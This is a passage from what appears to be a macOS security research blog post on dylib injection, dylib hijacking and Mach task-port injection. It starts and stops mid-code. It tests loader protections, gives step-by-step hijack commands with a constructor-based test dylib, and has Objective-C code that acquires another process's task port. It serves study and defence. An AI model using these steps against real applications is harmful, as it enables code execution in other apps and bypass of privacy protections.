        BOOL isSet = (flags &amp; (1 &lt;&lt; i)) != 0;
        NSLog(@"%@%@: %@%@", isSet ? greenStart : redStart, flagNames[i], isSet ? @"Set" : @"Not Set", colorEnd);
    }
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc &lt; 2) {
            NSLog(@"Usage: %@ &lt;hex value&gt;", [NSString stringWithUTF8String:argv[0]]);
            return 1; // Exit if no hex value is provided
        }

        NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
        uint32_t hexValue = strtoul([hexArgument UTF8String], NULL, 16);

        checkCSRFlags(hexValue);
    }
    return 0;
}
</code></pre>

<ul>
  <li>Compile and run:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Compile
gcc <span class="nt">-fraework</span> Foundation checkCSRFlags.m <span class="nt">-o</span> checkCSRFlags

Run
./checkCSRFlags 0x2fd <span class="c"># replace with the your value</span>
</code></pre></div></div>

<h2 id="verifying-restrictions-of-dyld_insert_libraries">Verifying Restrictions of DYLD_INSERT_LIBRARIES</h2>

<h3 id="setting-up-and-testing-suid-restrictions">Setting Up and Testing SUID Restrictions</h3>

<ol>
  <li><strong>Change ownership and set SUID bit:</strong>
    <ul>
      <li>Change the ownership of the binary to root and set the SUID bit to enable execution with root privileges.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo chown </span>root hello
<span class="nb">sudo chmod</span> +s hello
<span class="nb">ls</span> <span class="nt">-l</span> hello
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Testing dylib injection with SUID bit set:</strong></p>

    <ul>
      <li>When attempting to inject a dylib into a binary with the SUID bit set, the injection should fail, indicating the security measures are working as expected.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./hello  <span class="c"># Normal execution</span>
<span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello  <span class="c"># Attempted dylib injection</span>
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Remove SUID bit and test dylib injection:</strong></p>

    <ul>
      <li>Removing the SUID bit and attempting dylib injection again should succeed, demonstrating that the restriction is specifically linked to the SUID bit.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo chmod</span> <span class="nt">-s</span> hello
<span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello
</code></pre></div></div>

<h3 id="testing-restricted-segments">Testing Restricted Segments</h3>

<ol>
  <li>
    <p><strong>Add a restricted segment to the binary:</strong></p>

    <ul>
      <li>Compiling a binary with a specific segment (<code class="language-plaintext highlighter-rouge">__RESTRICT/__restrict</code>) that signals dyld to ignore certain dynamic loading features.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-sectcreate</span> __RESTRICT __restrict /dev/null hello.c <span class="nt">-o</span> hello-restricted
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Attempt dylib injection into the restricted binary:</strong></p>

    <ul>
      <li>Injection attempts should fail, confirming that the restricted segment is recognized and respected by dyld.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello-restricted
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Verify the presence of the restricted segment:</strong></p>

    <ul>
      <li>Using the <code class="language-plaintext highlighter-rouge">size</code> command to verify the segments and sections of the compiled binary, confirming the presence of the <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size <span class="nt">-x</span> <span class="nt">-l</span> <span class="nt">-m</span> hello-restricted
</code></pre></div></div>

<h3 id="hardened-runtime-and-code-signing">Hardened Runtime and Code Signing</h3>

<ol>
  <li>
    <p><strong>Enable hardened runtime and code-sign the binary:</strong></p>

    <ul>
      <li>Applying a hardened runtime setting to the binary using a self-signed certificate to enforce stricter security policies.</li>
      <li>
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>hello hello-signed
codesign <span class="nt">-s</span> <span class="s2">"Your Certificate Name"</span> <span class="nt">--options</span><span class="o">=</span>runtime hello-signed
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p><strong>Test dylib injection on hardened runtime binary:</strong></p>

    <ul>
      <li>Attempts to inject a dylib into a binary with hardened runtime enabled should fail if the dylib does not match the code-signing requirements.
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello-signed
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p><strong>Set library validation requirement and test:</strong></p>
    <ul>
      <li>Enforcing library validation to ensure that all loaded libraries are signed with the same certificate as the main executable.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-f</span> <span class="nt">-s</span> <span class="s2">"Your Certificate Name"</span> <span class="nt">--options</span><span class="o">=</span>library hello-signed
<span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello-signed
</code></pre></div></div>

<h3 id="setting-the-cs_restrict-flag">Setting the CS_RESTRICT Flag</h3>

<ol>
  <li>
    <p><strong>Setting the CS_RESTRICT flag on a binary:</strong></p>

    <ul>
      <li>Manually setting the CS_RESTRICT flag using the <code class="language-plaintext highlighter-rouge">codesign</code> command with the <code class="language-plaintext highlighter-rouge">--option=0x800</code> flag. This is not typical in standard practice but can be used to enforce stricter security measures.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-f</span> <span class="nt">-s</span> <span class="s2">"Your Certificate Name"</span> <span class="nt">--option</span><span class="o">=</span>0x800 hello-signed
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Verifying the signature and the CS_RESTRICT flag:</strong></p>

    <ul>
      <li>After setting the flag, verify that it has been applied correctly using the <code class="language-plaintext highlighter-rouge">codesign -dv</code> command to display detailed information about the code signing status of the binary.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> hello-signed
</code></pre></div></div>

<p>Setting the <code class="language-plaintext highlighter-rouge">CS_RESTRICT</code> flag enhances security by restricting how the binary can be modified or interacted with, particularly by dynamic libraries. As With <code class="language-plaintext highlighter-rouge">CS_RESTRICT</code> set, any attempt to inject dynamic libraries using mechanisms like <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> will fail unless they meet specific security criteria, usually involving matching signatures.</p>

<h1 id="dylib-hijacking">Dylib Hijacking</h1>

<p>Most important load commands &amp; functions from a dylib hijacking point of view are the following:</p>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
      <th>Relevance in DYLIB Hijacking</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code></td>
      <td>Specifies a path to a dynamically linked shared library. The library must be present for the binary to load and run successfully.</td>
      <td>Hijackers can place a malicious dylib at the specified path, allowing it to be loaded instead of the legitimate library.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code></td>
      <td>Similar to <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code>, but allows the application to run even if the dylib is not present or fails to load.</td>
      <td>Allows more flexibility for attackers since the absence of the dylib does not prevent the application from running. This means a malicious dylib can be inserted without immediate detection.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_REEXPORT_DYLIB</code></td>
      <td>Used to re-export symbols from another dylib, essentially forwarding all requests for symbols to another library.</td>
      <td>An attacker can use this command to make a malicious dylib appear as a proxy for a legitimate library, tricking the application into using it as if it were the original.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_LOAD_UPWARD_DYLIB</code></td>
      <td>Specifies a dylib that should be loaded, but is typically used when two dylibs are interdependent (i.e., each relies on the other).</td>
      <td>Can be exploited in complex scenarios where multiple interdependent libraries are involved, allowing an attacker to insert a malicious component into a dependency chain.</td>
    </tr>
  </tbody>
</table>

<h2 id="dylib-hijacking-scenarios">Dylib Hijacking Scenarios</h2>

<h3 id="1-lc_load_dylib">1. <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code></h3>

<p><strong>Scenario</strong>: An application uses a common library like <code class="language-plaintext highlighter-rouge">libpng.dylib</code> for image processing. The library is loaded via <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code> with a path pointing to <code class="language-plaintext highlighter-rouge">/usr/local/lib/libpng.dylib</code>. An attacker gains write access to <code class="language-plaintext highlighter-rouge">/usr/local/lib/</code> and replaces <code class="language-plaintext highlighter-rouge">libpng.dylib</code> with a malicious version. When the application is launched, the dynamic linker loads the malicious dylib instead of the legitimate one, allowing the attacker to execute arbitrary code within the context of the application.</p>

<h3 id="2-lc_load_weak_dylib">2. <code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code></h3>

<p><strong>Scenario</strong>: A video editing software includes optional support for a plugin via a weakly linked library <code class="language-plaintext highlighter-rouge">libplugin.dylib</code>, referenced by <code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code>. The software functions normally without this plugin if it’s not found. An attacker can drop a malicious <code class="language-plaintext highlighter-rouge">libplugin.dylib</code> into an expected search path (exploiting the weak link nature). The next time the software tries to load this plugin, it will inadvertently load the attacker’s dylib, enabling the attacker to manipulate or control the software.</p>

<h3 id="3-lc_reexport_dylib">3. <code class="language-plaintext highlighter-rouge">LC_REEXPORT_DYLIB</code></h3>

<p><strong>Scenario</strong>: A system utility uses <code class="language-plaintext highlighter-rouge">LC_REEXPORT_DYLIB</code> to re-export <code class="language-plaintext highlighter-rouge">libssl.dylib</code>, allowing all symbols of <code class="language-plaintext highlighter-rouge">libssl.dylib</code> to be available to any module loaded by the utility. An attacker replaces the <code class="language-plaintext highlighter-rouge">libssl.dylib</code> with a malicious version on a system where the utility has permissions to write, or tricks the utility into loading the malicious version from a controlled path. The utility then inadvertently exports the symbols from the malicious library to other parts of the application, leading to widespread impact across the utility’s functionalities.</p>

<h3 id="4-lc_load_upward_dylib">4. <code class="language-plaintext highlighter-rouge">LC_LOAD_UPWARD_DYLIB</code></h3>

<p><strong>Scenario</strong>: An application uses two interdependent libraries, <code class="language-plaintext highlighter-rouge">libA.dylib</code> and <code class="language-plaintext highlighter-rouge">libB.dylib</code>, loaded via <code class="language-plaintext highlighter-rouge">LC_LOAD_UPWARD_DYLIB</code>. Both libraries depend on each other to function correctly. An attacker manages to replace <code class="language-plaintext highlighter-rouge">libA.dylib</code> with a malicious variant that still satisfies the dependency requirements of <code class="language-plaintext highlighter-rouge">libB.dylib</code>. When <code class="language-plaintext highlighter-rouge">libB.dylib</code> loads and calls functions from <code class="language-plaintext highlighter-rouge">libA.dylib</code>, it executes malicious code embedded by the attacker, potentially compromising data processed by <code class="language-plaintext highlighter-rouge">libB.dylib</code>.</p>

<h3 id="5-dlopen">5. <code class="language-plaintext highlighter-rouge">dlopen</code></h3>

<p><strong>Scenario</strong>: A network monitoring tool dynamically loads custom extensions based on user configuration. The tool uses <code class="language-plaintext highlighter-rouge">dlopen</code> to load <code class="language-plaintext highlighter-rouge">user_extension.dylib</code> specified in a user-editable configuration file without verifying the path or authenticity of the file. An attacker modifies the configuration file to point <code class="language-plaintext highlighter-rouge">dlopen</code> to a malicious dylib located on a network share or a local path controlled by the attacker. When the tool executes and calls <code class="language-plaintext highlighter-rouge">dlopen</code>, it loads the malicious dylib, granting the attacker control over the network monitoring tool’s operations and data.</p>
<h2 id="test-apps-for-dylib-hijacking">Test Apps for Dylib Hijacking</h2>
<ul>
  <li>Variables and it’s paths</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Variable</th>
      <th>Description</th>
      <th>Example Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@executable_path</code></td>
      <td>Replaced with the path to the directory containing the main executable. Useful for loading dylibs/frameworks within the application bundle.</td>
      <td><strong>Path of Main Executable</strong>: <code class="language-plaintext highlighter-rouge">/some/path/My.app/Contents/MacOS/My</code><br /><strong>Path to Framework</strong>: <code class="language-plaintext highlighter-rouge">/some/path/My.app/Contents/Frameworks/Foo.framework/Versions/A/Foo</code><br /><strong>Load Command</strong>: <code class="language-plaintext highlighter-rouge">@executable_path/../Frameworks/Foo.framework/Versions/A/Foo</code><br />This setup allows the application directory to be relocated without breaking the path dependencies.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@loader_path</code></td>
      <td>Replaced with the path to the directory containing the binary that includes the load command. Useful for plugins or modules with unknown final filesystem locations.</td>
      <td><strong>Path of Plugin Executable</strong>: <code class="language-plaintext highlighter-rouge">/some/path/Myfilter.plugin/Contents/MacOS/Myfilter</code><br /><strong>Path to Framework</strong>: <code class="language-plaintext highlighter-rouge">/some/path/Myfilter.plugin/Contents/Frameworks/Foo.framework/Versions/A/Foo</code><br /><strong>Load Command</strong>: <code class="language-plaintext highlighter-rouge">@loader_path/../Frameworks/Foo.framework/Versions/A/Foo</code><br />This allows the plugin directory to be movable without affecting the dynamic linking of embedded frameworks.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@rpath</code></td>
      <td>A runtime search path used by the linker to locate dylibs. Multiple <code class="language-plaintext highlighter-rouge">@rpath</code> entries can be specified. These are usually set at compile time and can be overridden at runtime.</td>
      <td><strong>Application Example</strong>: <code class="language-plaintext highlighter-rouge">/some/path/MyApp.app/Contents/MacOS/MyApp</code><br /><strong>Library Example</strong>: <code class="language-plaintext highlighter-rouge">/some/other/path/libMyLib.dylib</code><br /><strong>Load Command in MyApp</strong>: <code class="language-plaintext highlighter-rouge">@rpath/libMyLib.dylib</code><br /><strong>Possible RPATH Entries</strong>: <br />1. <code class="language-plaintext highlighter-rouge">@executable_path/../Frameworks</code><br />2. <code class="language-plaintext highlighter-rouge">/usr/local/lib</code><br />This allows flexible library referencing that adapts based on runtime conditions or application deployment configurations.</td>
    </tr>
  </tbody>
</table>

<h3 id="lc_load_weak_dylib">LC_LOAD_WEAK_DYLIB</h3>

<ul>
  <li>Test using <code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1- First check the app/binary security and if it's exploitable
You can check when the app is vulnerable from my previous analysis from here: https://zeyadazima.com/macos/CVE_2023_26818_P1/#the-analysis
codesign -dv --entitlements :- /path/to/app

2- Secondly grep `LC_LOAD_WEAK_DYLIB` from load commands using `otool`
otool -l /path/to/app | grep LC_LOAD_WEAK_DYLIB -A 5

3- Check the dylib path and if it's exist or no
ls -l path_from_LC_LOAD_WEAK_DYLIB
</code></pre></div></div>

<h3 id="rpath-based-dylib-hijacking">Rpath-based dylib hijacking</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1- Grep the paths where is used for loading
otool -l /path/to/app | grep LC_RPATH -A 2

2- Grep the path where @rpath is used, Also check the library version
otool -l /path/to/app | grep @rpath -A 3

3- Check the library path and if t's exist
ls -l /path/to/app{@rpath}/lib.dylib
</code></pre></div></div>

<h3 id="dlopen-dylib-hijacking">dlopen dylib hijacking</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>the search path will default to the following (as noted at DYLD_FALLBACK_LIBRARY_PATH):

$HOME/lib
/usr/local/lib
/usr/lib
current directory

Monitor file system events to check the files
sudo fs_usage

Then look for dylibs that been requested and repeated in the search paths.
</code></pre></div></div>

<h2 id="exploit-dylib-hijacking">Exploit Dylib Hijacking</h2>

<ul>
  <li>A <code class="language-plaintext highlighter-rouge">dylib</code> test code:</li>
</ul>

<pre><code class="language-Objc">#import &lt;Foundation/Foundation.h&gt;

__attribute__((constructor))
void custom(int argc, const char **argv)
{
  NSLog(@"Dylib hijack successful in %s",argv[0]);
}
</code></pre>

<ul>
  <li>Exploitation steps</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>After identifying which dylib is vulnerable, Compile the test code
gcc -dynamiclib -current_version {version} -compatibility_version {version} -framework Foundation test.m -Wl,-reexport_library,"Hijacked dylib path" -o hijack.dylib

Check the reexport path
otool -l hijack.dylib| grep REEXPORT -A 2

Finally, set the full path to the library and copy it to the hijacking path
install_name_tool -change @rpath/lib.dylib "Library path" hijack.dylib
</code></pre></div></div>

<h1 id="mach-ipc--injection">Mach IPC &amp; Injection</h1>

<h2 id="fundamentals-of-ipc-via-bootstrap-server">Fundamentals of IPC via Bootstrap Server</h2>

<p><img width="691" height="436" alt="image" src="https://github.com/user-attachments/assets/c85b392b-b96f-431c-a7d2-cc7b9c49dcf4" /></p>

<ol>
  <li><strong>Task A Creation Steps</strong>:
    <ul>
      <li><strong>Create Port with RECEIVE Right</strong>: Task A starts by creating a new communication port for which it holds the RECEIVE right. This right allows Task A to receive messages sent to this port.</li>
      <li><strong>Create SEND Right</strong>: Task A then creates a SEND right for the same port, which will be used to allow other tasks to send messages to this port.</li>
    </ul>
  </li>
  <li><strong>Bootstrap Server Registration</strong>:
    <ul>
      <li><strong>Register SEND Right</strong>: Task A registers the SEND right with the bootstrap server under a specific service name. This is a crucial step as it associates the SEND right with a recognizable service name that other tasks can refer to.</li>
    </ul>
  </li>
  <li><strong>Task B Lookup and Communication</strong>:
    <ul>
      <li><strong>Lookup Service Name</strong>: Task B queries the bootstrap server to find the service name. If found, the server provides Task B with a copy of the SEND right.</li>
      <li><strong>Send Message Using SEND Right</strong>: Now equipped with the SEND right, Task B constructs a message and sends it to Task A using the SEND right.</li>
    </ul>
  </li>
</ol>

<h2 id="secured-communication-model-with-launchd-as-bootstrap-server">Secured Communication Model with Launchd as Bootstrap Server</h2>

<p><img width="691" height="404" alt="image" src="https://github.com/user-attachments/assets/c5033afb-6a45-4fb4-9f4c-0f3ae25716ca" /></p>

<p>Apple stores system-provided service names in configuration files that also contain the associated binary for each service. These files are located at <code class="language-plaintext highlighter-rouge">/System/Library/LaunchDaemons</code> and <code class="language-plaintext highlighter-rouge">/System/Library/LaunchAgents</code>, <code class="language-plaintext highlighter-rouge">SIP</code> protected locations which are considered secure.</p>

<ol>
  <li><strong>Task B Service Lookup</strong>:
    <ul>
      <li><strong>Lookup Service Name</strong>: Task B initiates the communication by requesting a service name from <code class="language-plaintext highlighter-rouge">launchd</code>. This is the first step in establishing a communication link.</li>
    </ul>
  </li>
  <li><strong>launchd Service Management</strong>:
    <ul>
      <li><strong>Check If Service Is Running</strong>: <code class="language-plaintext highlighter-rouge">launchd</code> checks whether the requested service (Task A) is already running. If not, it starts Task A.</li>
      <li><strong>Start Task A</strong>: If the service is not already running, <code class="language-plaintext highlighter-rouge">launchd</code> initiates Task A.</li>
    </ul>
  </li>
  <li><strong>Task A Registration and Rights Management</strong>:
    <ul>
      <li><strong>Bootstrap Check-in</strong>: Once started, Task A performs a bootstrap check-in with <code class="language-plaintext highlighter-rouge">launchd</code>. During this process, <code class="language-plaintext highlighter-rouge">launchd</code> assigns the RECEIVE right to Task A and retains a SEND right for itself.</li>
      <li><strong>Create SEND Right and Transfer RECEIVE Right</strong>: <code class="language-plaintext highlighter-rouge">launchd</code> ensures that it keeps a SEND right (to control future access) and transfers the RECEIVE right to Task A.</li>
    </ul>
  </li>
  <li><strong>Service Access by Task B</strong>:
    <ul>
      <li><strong>Send Copy of SEND Right to Task B</strong>: Finally, <code class="language-plaintext highlighter-rouge">launchd</code> creates a copy of the SEND right and sends it to Task B. This step allows Task B to communicate securely with Task A using the established protocol.</li>
    </ul>
  </li>
</ol>

<h2 id="mach-special-ports">Mach Special Ports</h2>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HOST_PORT</code></td>
      <td>Allows retrieval of system information. With a SEND right to this port, functions like <code class="language-plaintext highlighter-rouge">host_processor_info</code> can be executed to gather data about the system’s processors.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HOST_PRIV_PORT</code></td>
      <td>A privileged version of the <code class="language-plaintext highlighter-rouge">HOST_PORT</code>. Possessing a SEND right here enables performing privileged actions such as <code class="language-plaintext highlighter-rouge">kext_request</code>, used for loading or unloading kernel extensions. Access to this port typically requires root privileges and specific entitlements like <code class="language-plaintext highlighter-rouge">com.apple.private.kext*</code>, reflecting its high-security implications.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Task Port</code></td>
      <td>Known as the task’s kernel port, it controls access to a specific task. Having a SEND right to a task’s port enables full control over the task, including the ability to read and write its virtual memory, and manage its threads. This port provides significant power over the task, regardless of the user’s privilege level, making its access highly restricted.</td>
    </tr>
  </tbody>
</table>

<ul>
  <li>since <code class="language-plaintext highlighter-rouge">macOS</code> 10.11, AppleMobileFileIntegrity (<code class="language-plaintext highlighter-rouge">AMFI</code>) plays a key role in access control. <code class="language-plaintext highlighter-rouge">macos_task_policy</code> have the following rules:</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Rule</th>
      <th>Description and Implications</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>com.apple.security.get-task-allow</strong></td>
      <td>This entitlement allows any process operating at the same user level as the application to access its task port. Commonly used in debug builds for attaching debuggers, this entitlement is risky for distributed applications as it exposes significant control over the application’s execution. Applications with this entitlement are likely to be rejected during Apple’s notarization process because it poses a high security risk.</td>
    </tr>
    <tr>
      <td><strong>com.apple.system-task-ports</strong></td>
      <td>Grants the ability to access the task ports of any process, except those of the kernel. This entitlement is typically reserved for Apple’s proprietary software and is indicative of the strict privileges maintained within Apple’s software ecosystem. Older references to this entitlement as <code class="language-plaintext highlighter-rouge">task_for_pid-allow</code> are outdated, and modern security mechanisms like <code class="language-plaintext highlighter-rouge">taskgated</code> and <code class="language-plaintext highlighter-rouge">AMFI</code> no longer check for this older term.</td>
    </tr>
    <tr>
      <td><strong>Root User Access on Non-Hardened Applications</strong></td>
      <td>If an application is not an Apple platform binary and lacks hardened runtime, root users can access its ports. Although root access has been curtailed significantly by security measures like SIP and TCC, which restrict root capabilities on critical system locations and sensitive user data, obtaining port access can still offer pathways to exploit these remaining privileges. This capability highlights the ongoing relevance of root access in circumventing newer security restrictions on macOS.</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>While at first glance, exploiting application permissions to gain root might not seem to offer additional privileges, Apple’s ongoing enhancement of security measures makes this strategy increasingly valuable. Starting with System Integrity Protection (SIP), often referred to as “rootless,” Apple significantly restricted root access to essential system locations. This protection was further tightened with the introduction of Transparency, Consent, and Control (TCC) privacy measures, which restrict root access to sensitive user data areas like Documents and AddressBook. Therefore, by injecting code into an application that retains access to these protected areas, one can circumvent these restrictions and gain valuable access and insights, despite the limitations imposed on the root user.</p>
</blockquote>

<h2 id="injection-through-mach-ports">Injection through Mach Ports</h2>

<h3 id="get-identifier">Get Identifier</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get app "Identifier=" using codesign
codesign -dv /Path_to_app
</code></pre></div></div>

<h3 id="get-process-id">Get Process ID</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        return (0);

}

</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit getPID.m -o getPID
</code></pre></div></div>

<h4 id="get_uidpid_t-pid"><code class="language-plaintext highlighter-rouge">get_uid(pid_t pid)</code></h4>

<ul>
  <li><strong>Purpose</strong>: This function fetches the UID associated with a given PID, which is useful to determine the user under which a process is running.</li>
  <li><strong>Implementation</strong>:
    <ul>
      <li>It initializes a <code class="language-plaintext highlighter-rouge">struct kinfo_proc</code> to store process information.</li>
      <li>It prepares an array <code class="language-plaintext highlighter-rouge">mib</code> with parameters that tell <code class="language-plaintext highlighter-rouge">sysctl</code> which information to retrieve, specifically the process info for a given PID.</li>
      <li>The <code class="language-plaintext highlighter-rouge">sysctl</code> function is called with these parameters to fill the <code class="language-plaintext highlighter-rouge">process</code> structure with the process information.</li>
      <li>If <code class="language-plaintext highlighter-rouge">sysctl</code> successfully retrieves the information (<code class="language-plaintext highlighter-rouge">buffer_size</code> is not zero), it extracts the UID from the <code class="language-plaintext highlighter-rouge">process</code> structure.</li>
    </ul>
  </li>
</ul>

<h4 id="get_pidnsstring-bundle_id"><code class="language-plaintext highlighter-rouge">get_pid(NSString* bundle_id)</code></h4>

<ul>
  <li><strong>Purpose</strong>: This function finds the PID of an application running with a specific bundle identifier. It ensures that the application is running under a user account (non-root).</li>
  <li><strong>Implementation</strong>:
    <ul>
      <li>It calls <code class="language-plaintext highlighter-rouge">NSRunningApplication</code>’s class method <code class="language-plaintext highlighter-rouge">runningApplicationsWithBundleIdentifier:</code> which returns an array of <code class="language-plaintext highlighter-rouge">NSRunningApplication</code> instances representing each running application with the specified bundle identifier.</li>
      <li>It iterates over this array, retrieving the PID of each application instance using the <code class="language-plaintext highlighter-rouge">processIdentifier</code> method.</li>
      <li>For each PID, it calls <code class="language-plaintext highlighter-rouge">get_uid</code> to check if the process is running as root (UID 0). If the process is running as a non-root user, it returns the PID.</li>
    </ul>
  </li>
</ul>

<h4 id="mainint-argc-const-char--argv"><code class="language-plaintext highlighter-rouge">main(int argc, const char * argv[])</code></h4>

<ul>
  <li><strong>Purpose</strong>: This is the main entry point of the program. It sets up the environment and calls other functions to perform specific tasks.</li>
  <li><strong>Implementation</strong>:
    <ul>
      <li>It uses an autorelease pool to manage the memory of objects created during the execution of the program automatically.</li>
      <li>It defines the target application’s bundle identifier and calls <code class="language-plaintext highlighter-rouge">get_pid</code> to find the PID of this application.</li>
      <li>If a valid PID is found, it prints the PID; otherwise, it prints an error message.</li>
    </ul>
  </li>
</ul>

<h3 id="get-send-rights-task-port">Get SEND Rights (task port)</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
